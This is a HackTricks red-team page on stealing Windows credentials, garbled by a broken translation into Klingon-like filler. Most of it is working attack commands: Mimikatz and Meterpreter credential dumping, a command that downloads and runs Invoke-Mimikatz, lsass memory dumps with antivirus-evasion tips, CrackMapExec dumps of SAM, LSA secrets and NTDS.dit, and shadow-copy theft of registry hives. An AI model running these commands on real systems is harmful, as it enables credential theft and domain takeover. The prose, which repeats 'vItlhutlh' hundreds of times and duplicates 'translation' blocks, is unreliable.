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hacktricks/windows-hardening/stealing-credentials/README.md
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2024-02-10 17:52:19 +00:00

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Stealing Windows Credentials

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Credentials Mimikatz

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

ghItlh 'e' vItlhutlh 'e' Mimikatz vItlhutlh 'e' vItlhutlh 'e' ngoD page.

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Qapla'! QaStaHvIS credentials protections vItlhutlh. vaj Mimikatz vItlhutlh credentials chenmoH.

Meterpreter vIghojmeH credentials

Credentials Plugin vaj jatlhpu'wI' vItlhutlh passwords je hashes vItlhutlh victim.

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

Bypassing AV

Procdump + Mimikatz

Procdump SysInternals -nISbe'Microsoft tool legitimate 'e' Defender not detect.
Tool use lsass process dump, download dump extract credentials locally dump.

{% code title="Dump lsass" %}

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

{% code title="QapHa'wI' vItlhutlh" %}

//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

{% endcode %}

This process is done automatically with SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Note: Some AV may detect as malicious the use of procdump.exe to dump lsass.exe, this is because they are detecting the string "procdump.exe" and "lsass.exe". So it is stealthier to pass as an argument the PID of lsass.exe to procdump instead of the name lsass.exe.

Dumping lsass with comsvcs.dll

A DLL named comsvcs.dll found in C:\Windows\System32 is responsible for dumping process memory in the event of a crash. This DLL includes a function named MiniDumpW, designed to be invoked using rundll32.exe.
It is irrelevant to use the first two arguments, but the third one is divided into three components. The process ID to be dumped constitutes the first component, the dump file location represents the second, and the third component is strictly the word full. No alternative options exist.
Upon parsing these three components, the DLL is engaged in creating the dump file and transferring the specified process's memory into this file.
Utilization of the comsvcs.dll is feasible for dumping the lsass process, thereby eliminating the need to upload and execute procdump. This method is described in detail at https://en.hackndo.com/remote-lsass-dump-passwords/.

The following command is employed for execution:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

lssasy ghItlh lssasy.

lsass jopwI' vItlhutlh

  1. Task Bar vIleghlaHbe' 'ej Task Manager vIlegh.
  2. More details vIlegh.
  3. "Local Security Authority Process" jopwI' vItlhutlh Processes tab vIlegh.
  4. "Local Security Authority Process" jopwI' vItlhutlh 'ej "Create dump file" vIlegh.

lsass jopwI' vItlhutlh procdump

Procdump Microsoft SIgned binary vItlhutlh 'ej sysinternals suite vItlhutlh.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

Dumpin lsass with PPLBlade

PPLBlade jImej vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh 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vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhut

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

{% endcode %}

CrackMapExec

Dump SAM hashes

{% code language="klingon" %}

CrackMapExec

SAM hash jImej

{% endcode %}

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Dump LSA secrets

tlhIngan Hol translation:

LSA secrets jImej

HTML translation:

Dump LSA secrets

Markdown translation:

Dump LSA secrets

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Dump the NTDS.dit from target DC

tlhIngan Hol translation:

target DC vItlhutlh NTDS.dit jImej

HTML translation:

Dump the NTDS.dit from target DC

tlhIngan Hol translation:

target DC vItlhutlh NTDS.dit jImej

``` cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds #~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss ``` ### Dump the NTDS.dit password history from target DC

tlhIngan Hol translation:

target DC vItlhutlh NTDS.dit password history jImej

HTML translation:

Dump the NTDS.dit password history from target DC

tlhIngan Hol translation:

target DC vItlhutlh NTDS.dit password history jImej

``` #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history ``` ### Show the pwdLastSet attribute for each NTDS.dit account

tlhIngan Hol translation:

NTDS.dit account laH pwdLastSet attribute chaw'

HTML translation:

NTDS.dit account laH pwdLastSet attribute chaw'

``` #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet ``` ## SAM & SYSTEM qoStaHvIS

C:\windows\system32\config\SAM je 'ej C:\windows\system32\config\SYSTEM _'e' vItlhutlh. 'ach vaj lo'laHbe'chugh vItlhutlhlaHbe'chugh ghItlh vay' ghItlh.

Registry vIlegh

ghItlh vItlhutlhlaHbe'chugh ghItlh 'e' vItlhutlhlaHbe'chugh registry.

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Download those files to your Kali machine and extract the hashes using:

Download vItlhutlh files vaj your Kali machine je extract the hashes using:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

qo'noS qarDaq

tlhIngan Hol: qo'noS qarDaq

vssadmin lo'wI'

vssadmin binary Windows Server versions Daq chenmoH.

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

Powershell jImej. SAM file (hard drive "C:" vItlhutlh) copy example. 'ej C:\users\Public save. protected file copy use.

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Code from the book: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html

Invoke-NinjaCopy

Finally, you could also use the PS script Invoke-NinjaCopy to make a copy of SAM, SYSTEM and ntds.dit.

Invoke-NinjaCopy

Invoke-NinjaCopy PS script jImej vItlhutlh SAM, SYSTEM je ntds.dit copy.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory Credentials - NTDS.dit

NTDS.dit file jatlh Active Directory'e' vItlhutlh. user objects, groups, je password hashes vItlhutlh. Extensible Storage Engine (ESE) database jatlh je %SystemRoom%/NTDS/ntds.dit.

vaj database vItlhutlh, tables ghom vItlhutlh:

  • Data Table: user je group vItlhutlh.
  • Link Table: group memberships vItlhutlh.
  • SD Table: Security descriptors vItlhutlh, objects vItlhutlh.

http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Ntdsa.dll vItlhutlh Windows vItlhutlh lsass.exe vItlhutlh. NTDS.dit file part lsass memory vItlhutlh (performance improve cache vItlhutlh).

NTDS.dit vItlhutlh Decrypting

hash vItlhutlh 3 times cyphered:

  1. Decrypt Password Encryption Key (PEK) BOOTKEY je RC4 vItlhutlh.
  2. Decrypt hash PEK je RC4 vItlhutlh.
  3. Decrypt hash DES vItlhutlh.

PEK value every domain controller vItlhutlh, NTDS.dit file cyphered SYSTEM file BOOTKEY vItlhutlh domain controller (domain controllers different). credentials NTDS.dit file files NTDS.dit je SYSTEM (C:\Windows\System32\config\SYSTEM) vItlhutlh.

Ntdsutil vItlhutlh NTDS.dit vItlhutlh Copying

Windows Server 2008 vItlhutlh.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

volume shadow copy (./#stealing-sam-and-system) trick-va' tlhInganpu' jatlh ntds.dit file. SYSTEM file (cha'logh, [registry vItlhutlh] yIlo'laHbe' [volume shadow copy] trick) copy vItlhutlh.

NTDS.dit-Daq hashes extract laH tools secretsdump.py vaj:

secretsdump.py

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

ghItlhvam yIlo' ghaH valid domain admin user vaj ghItlhvam yIlo' ghaH extract jatlh.

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

big NTDS.dit files gosecretsdump gosecretsdump metasploit module: post/windows/gather/credentials/domain_hashdump mimikatz lsadump::lsa /inject

Extracting domain objects from NTDS.dit to an SQLite database

NTDS objects can be extracted to an SQLite database with ntdsdotsqlite. Not only secrets are extracted but also the entire objects and their attributes for further information extraction when the raw NTDS.dit file is already retrieved.

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

SYSTEM hive jImej, 'ach secrets decryption (NT & LM hashes, supplemental credentials such as cleartext passwords, kerberos or trust keys, NT & LM password histories) jImej. DaH jatlh chenmoH, vaj data vItlhutlh : user vaj machine accounts vajDaq hashes, UAC flags, timestamp for last logon vaj password change, accounts description, names, UPN, SPN, groups vaj recursive memberships, organizational units tree vaj membership, trusted domains vajDaq trusts type, direction vaj attributes...

Lazagne

ghun vIghoS. vaj binary vItlhutlh software vajDaq credentials extract.

lazagne.exe all

QaD jatlhlaHbe'ghach vItlhutlh

Windows credentials Editor (WCE)

vaj vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh 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vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

SAM file-ghItlhlaH credentials jImej.

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

Download it from: http://www.tarasco.org/security/pwdump_7 and just execute it and the passwords will be extracted.

Defenses

Learn about some credentials protections here.

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